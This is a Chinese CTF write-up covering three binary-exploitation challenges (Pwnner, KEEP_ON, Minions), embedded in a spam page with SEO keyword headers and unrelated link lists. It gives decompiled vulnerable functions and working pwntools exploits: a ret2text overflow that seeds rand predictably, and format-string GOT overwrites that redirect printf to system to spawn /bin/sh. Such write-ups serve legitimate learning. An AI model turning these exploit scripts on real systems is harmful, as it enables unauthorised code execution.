当前位置: 首页 > news >正文

打折网站建设教程下载网络销售就是忽悠人

打折网站建设教程下载,网络销售就是忽悠人,中国服务外包,wordpress最新下载Index 前言Pwnner分析EXP: KEEP_ON分析EXP: Minions分析EXP: 后记: 前言 本人是菜狗,比赛的时候只做出来1题,2题有思路但是不会,还是太菜了。 栈迁移还是不会,但又都是栈迁移的题,真头大。得找时间好好学学…

Index

  • 前言
  • Pwnner
    • 分析
    • EXP:
  • KEEP_ON
    • 分析
    • EXP:
  • Minions
    • 分析
    • EXP:
  • 后记:

前言

本人是菜狗,比赛的时候只做出来1题,2题有思路但是不会,还是太菜了。
栈迁移还是不会,但又都是栈迁移的题,真头大。得找时间好好学学。

Pwnner

分析

一题很简单的ret2text题。

__int64 vuln()
{int v0; // ebxchar buf[16]; // [rsp+0h] [rbp-50h] BYREFchar v3[64]; // [rsp+10h] [rbp-40h] BYREFsrand(0x39u);puts("you should prove that you love pwn,so input your name:");read(0, buf, 0x10uLL);v0 = atoi(buf);if ( v0 == rand() ){puts("ok,you have a little cognition about pwn,so what will you do next?");read(0, v3, 0x100uLL);}else{puts("sorry,you are not a real pwnner");}return 0LL;
}

可以看到使用了srand函数,参数是0x39,而不是时间戳。
那就很简单了,只要写一个在线C语言小程序跑一个随机数出来就行了。
我用的是Python的ctypes库。

相信看这篇文章的师傅ret2text都很熟悉吧,信手拈来的程度,我这里就不多赘述了,感兴趣可以去我主页翻刚开始复健Pwn的时候的学习文章。

EXP:

from pwn import *
import ctypes context(arch='amd64', os='linux', log_level='debug')
Padding = b'A' * (0x40 + 0x08)libc = ctypes.CDLL("libc.so.6")libc.srand.argtypes = [ctypes.c_uint]
libc.srand(0x39)
rand_result = libc.rand()#io = process('./pwnner')
io = remote('node1.anna.nssctf.cn',28523)
ret = 0x40028Bio.recvuntil(b'so input your name:\n')
io.sendline(str(rand_result))
io.recvuntil(b'so what will you do next?\n')Payload = Padding + p64(ret) + p64(0x4008B2)
io.sendline(Payload)
io.interactive()

KEEP_ON

分析

没错,这就是我比赛的时候有思路没做出来的题,同样还有下一题。
实际上很简单,存在两种做法:
栈迁移以及格式化字符串
这里写的是格式化字符串的方法,因为方便快捷,下篇文章再说栈迁移该怎么打。

__int64 vuln()
{char s[80]; // [rsp+0h] [rbp-50h] BYREFmemset(s, 0, sizeof(s));puts("please show me your name: ");read(0, s, 0x48uLL);printf("hello,");printf(s);puts("keep on !");read(0, s, 0x60uLL);return 0LL;
}

主函数是这样的,我们可以通过格式化字符串漏洞修改printf_gotsystem_plt
先计算出我们的偏移:
在这里插入图片描述
偏移为6。

EXP:

from PwnModules import *#io = process('./hdctf')
io = remote('node4.anna.nssctf.cn', 28144)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')io.recvuntil(b'name: \n')printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['vuln']payload = fmtstr_payload(6, {printf_got: system_plt})
io.send(payload)payload_ret = b'A' * (0x50 + 0x08) + p64(vuln)
io.recvuntil(b'keep on !\n')
io.send(payload_ret)
io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')io.interactive()

切记不能使用sendlinesendline会附加一个换行符,而本题Payload长度有限制,加上换行符会出现不可预料的问题。

Minions

分析

和 KEEP_ON 一样的做法,也可以使用栈迁移,一样下次再说。
主要进行利用的函数是

int vuln()
{char buf[208]; // [rsp+0h] [rbp-D0h] BYREFputs("Welcome to HDCTF.What you name?\n");read(0, buf, 0xD0uLL);printf("Hello,");return printf(buf);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[48]; // [rsp+0h] [rbp-30h] BYREFinit();vuln();puts("\nDo you have an invitation key?");if ( key == 102 ){puts("welcome,tell me more about you");read(0, buf, 0x40uLL);puts("That's great.Do you like Minions?");read(0, &hdctf, 0x28uLL);}else{puts("sorry,you can't in");}return 0;
}

我们在main函数使用格式化字符串漏洞绕过条件。
然后和KEEP_ON一样打劫持printf_gotsystem_plt
在这里插入图片描述

EXP:

from pwn import *#io = process('./minions1')
io = remote('node1.anna.nssctf.cn','28190')
elf = ELF('./minions1')
context(arch='amd64', os='linux', log_level='debug')Padding = b'A' * (0xD0-0x01) + b'B' * 0x01
key = 0x6010A0
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['_start']
Padding = b'A' * (0x30 + 0x08)Payload_Bypass = fmtstr_payload(6, {key: 0x66})
Payload_Replace = fmtstr_payload(6, {printf_got: system_plt})
Payload_Vuln = Padding + p64(vuln)
Payload_Shell = b'/bin/sh\x00'io.recvuntil(b'name?\n')
io.send(Payload_Bypass)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Replace)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Shell)io.interactive()

后记:

对我来说还是有提升的,虽然都是简单题目。
但是慢慢来,人总有个成长的过程。
相信当我解决完这几题栈迁移后,我的水平会进一步提升。

http://www.yidumall.com/news/5059.html

相关文章:

  • 做网站衡水百度一下百度主页
  • 用dw做音乐网站系统的代码软文例文 经典软文范例
  • 免费推广网站入口202旺道seo系统
  • 网站建设wix樱桃bt官网
  • 购物网站建设投资预算电商seo是什么意思
  • 旅游产业网站app建设的市场分析seo搜索引擎优化人员
  • 企业网站建设的思路域名批量查询系统
  • 网站备案域名还是空间查网站域名
  • 厦门旋挖建筑公司网站网站推广是什么
  • 深喘旋磨做紧夹断妖精网站搜索引擎营销经典案例
  • 网站建设书店目标客户分析互联网广告优化
  • 优秀企业网站建设价格天津百度seo代理
  • 自己做的网站在浏览器上显示不安全吗广告投放网
  • 包头北京网站建设佛山seo培训机构
  • 尺寸在线做图网站seo综合查询工具
  • 自己做网站的视频北京培训机构
  • 个人网站怎么盈利北京网站优化方案
  • 网站推广的看法重庆seo全网营销
  • 前端学校网站开发视频腾讯企点怎么注册
  • 深圳 网站建设培训班可以免费发广告的网站有哪些
  • 怎样做一个企业网站网站优化的意义
  • logo图片生成器在线制作seo外包公司如何优化
  • 网站如何强制修改主页 源码台湾新闻最新消息今天
  • 亳州网站开发公司seo教程培训
  • yw193can未满十免费观看排名优化外包公司
  • 深圳市城乡建设和管理委员会网站网店运营与管理
  • 陕西省建设网三类人员继续教育百度seo综合查询
  • 广东门户网站建设微营销是什么
  • 网站建设 钱今日军事新闻头条视频
  • 网站除了wordpress外在线seo推广软件